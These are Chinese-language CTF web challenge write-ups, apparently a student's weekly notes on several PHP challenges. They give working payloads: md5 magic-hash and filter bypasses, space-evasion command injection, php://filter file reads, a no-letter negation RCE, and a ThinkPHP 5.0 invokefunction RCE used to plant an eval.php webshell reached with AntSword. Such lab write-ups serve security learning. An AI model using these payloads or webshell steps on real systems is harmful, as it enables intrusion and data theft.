第二周2

题目 : [SWPUCTF 2022 新生赛]webdog1__start

  1. 打开环境 就有几个英文字母
    看一下源代码 发现有php代码

    1
    2
    3
    4
    5
    6
    7
      !--
    if (isset($_GET['web']))
    {
    $first=$_GET['web'];
    if ($first==md5($first))
    }
    -->
  2. 简单的进行绕过web=0e215962017 发现页面更新 但没有重要内容
    依旧看一下源代码 发现路径 /start.php

  3. 进去看一下 :

    也是没啥有用的信息
    依旧看一下源代码
    有个重要信息“Next”do you know the power of bot? go go go”
    “你知道机器人的力量吗” 由此联系到robots.txt

  4. 进入robots.txt看一下
    发现f14g.php 文件 进去看一下 好吧 还是啥也没有
    但是我们打开网络 看一下f14g.php的消息头
    发现了F1l1l1l1l1lag.php 文件 我们进去看看

  5. 终于看见源代码了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
    $get = str_ireplace("flag", " ", $get);

    if (strlen($get)>18){
    die("This is too long.");
    }

    else{
    eval($get);
    }
    }else {
    die("nonono");
    }
    }
    ?>

    简单的代码审计一下

  6. 就是过滤了空格和flag 并且长度要<=18
    payload: get=system(“cat%09/*”);
    得出flag

  7. 总结: 这题目的找文件过程曲折和复杂
    要看好源代码的内容 认真读源代码 内容
    对于文件的消息头要认真看

第二周1

题目 : [WUSTCTF2020]朴实无华
  1. 打开题目 就一个“hack me” 其他的什么都没有,在网络中亦是如此
    这时候可以用dirsearch -u 命令进行扫描一下看看 发现robots.txt文件
  2. 进入robots.txt文件 提示“Disallow: /fAke_f1agggg.php”
    我们再进入/fAke_f1agggg.php 看一下发现“flag{this_is_not_flag}”
    明显这是个假的flag
    但这时 我们在在网络中看一下这个文件的消息头 发现fl4g.php 文件
  3. 我们进入fl4g.php文件看一下 发现php代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
       <?php
    header('Content-type:text/html;charset=utf-8');
    error_reporting(0);
    highlight_file(__file__);
    //level 1
    if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
    echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
    die("金钱解决不了穷人的本质问题");
    }
    }else{
    die("去非洲吧");
    }
    //level 2
    if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
    echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
    die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
    }else{
    die("去非洲吧");
    }

    //get flag
    if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
    $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
    system($get_flag);
    }else{
    die("快到非洲了");
    }
    }else{
    die("去非洲吧");
    }
    ?>
    去非洲吧
    简单的代码审计看一下
  4. 第一处绕过: 当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,
    科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过
    所以用num=9e9等可以进行绕过
  5. 第二处绕过: 它的意思就是找一个md5加密后的值=自己本身
    可以用md5=0e215962017 进行绕过
  6. 第三处绕过: !strstr($get_flag,” “):使用逻辑非运算符 ! 对 strstr 的结果取反,即检查 $get_flag 中是否不存在空格。
    说白了 就是过滤了空格和cat
    用get_flag=tac$IFS$1* 即可
  7. 总结 :
    这个题目找到这个php代码的过程比较曲折
    用dirsearch等命令 来查看目录文件
    这个绕过 考察的内容比较多

第一周3

题解 :[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  1. 打开网址发现是php代码 如下:
    “<?php
    error_reporting(0);
    if (isset($_GET[‘file’])) {
    if ( substr($_GET[“file”], 0, 3) === “php” ) {
    echo “Nice!!!”;
    include($_GET[“file”]);
    }

    else {
    echo “Hacker!!”;
    }

}else {
highlight_file(FILE);
}
//flag.php”

  1. 我们代码审计一下看看 :
    用get方式提交参数file
    file参数前三个为php

  2. 让我们想到了文件包含 :
    file=php://filter/convert.base64-encode/resource=flag.php
    出现base64文字 我们去翻译一下
    https://i-blog.csdnimg.cn/blog_migrate/58547239b48814c750c10917fa50806f.png

  3. 这个提示我们flag可能在/flag中 我们继续php伪协议
    file=php://filter/read=convert.base64-encode/resource=/flag
    发现结果仍为base64文字 去翻译
    求出flag

  4. 总结:
    关于php伪协议的利用
    php代码认识
    base64要了解

第一周2

[鹏城杯 2022]简单的php

  1. 打开环境 发现php代码 如下: 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' ===preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }

?>

  1. 代码审计 对于 “if(strlen($code) > 80 or preg_match(‘/[A-Za-z0-9]|'|”|`|\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is’,$code))”
    就是用get方式提交的code参数 字符串长度大于80 或者 code参数不能有任何字母和数字 还有” ‘等一些符号
    这时我们发现 没有过滤 ~ 这个符号
    这个时候就想到了取反

  2. 对于”(‘;’ ===preg_replace(‘/[^\s()]+?((?R)?)/‘, ‘’, $code))”
    ‘;’ === preg_replace(‘/[^\s()]+?((?R)?)/‘, ‘’, $code)
    [^\s()]+? 表示不匹配所有空白符和() 一次或多次
    ((?R)?) 表示循环匹配() 一次或0次
    那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过
    payload:system(end(getallheaders()));
    构造取反二维数组拼接 [system]0

  3. 用上我们的取反代码 如下:

    最终payload:
    [%8C%86%8C%8B%9A%92][!%FF]([%9A%91%9B]!%FF);

  4. 最后在burp抓包的get方式提交 code=[%8C%86%8C%8B%9A%92][!%FF]([%9A%91%9B]!%FF);
    在请求头中 随便加一个 eg:x:cat /*
    发现flag

  5. 总结:
    这题就是无回显rce 无字母
    可以用取反 异或等方式去写
    用取反的时候 如果 ~ 没有被过滤的前提下

第一周1

题解 :[SWPUCTF 2022 新生赛]ez_rce
打开这个题目 发现什么也没有

  1. 这个时候可以用dirsearch -u “网址” 来看一下该网址的文件和目录
    发现robotx.txt文件 我们打开看一下
    发现提示NSS/index.php/

  2. 我们把NSS/index.php/这个路径输上去
    发现弹出来Think.php 5.0 由此我们可以联想到Think.php 5.0 漏洞

  3. 我们在网上找一下 https://img2020.cnblogs.com/blog/1863419/202112/1863419-20211224202858742-1691585409.png
    该网址是这个漏洞的利用方式

  4. s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

    bin boot dev etc flag home lib lib64 media mnt nss opt proc root run sbin srv sys tmp usr var var 好熟悉的界面 似曾相识啊

    发现flag 我们把这个ls /换为cat /flag
    发现啥也没有

  5. 这个时候就感觉可能是套娃了 我选择构造文件来看看
    payload :s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=eval.php&vars[1][]=

  6. 我们打开中国蚁剑 路径为:
    NSS/eval.php 密码为 cmd
    发现连接成功
    发现flag
    这个题也太坑了 真的是套娃 真的flag在nss/ctf/flag/flag路径下
    7.总结:
    发现页面啥也没有时 可以用dirsearch工具进行 网站目录和文件的扫描 一般可疑文件:robots.txt index.php flag.php
    如何出现flag但打开发现没有时 我们可以选择构造文件上传到该网站当前的目录下
    最终找到真的flag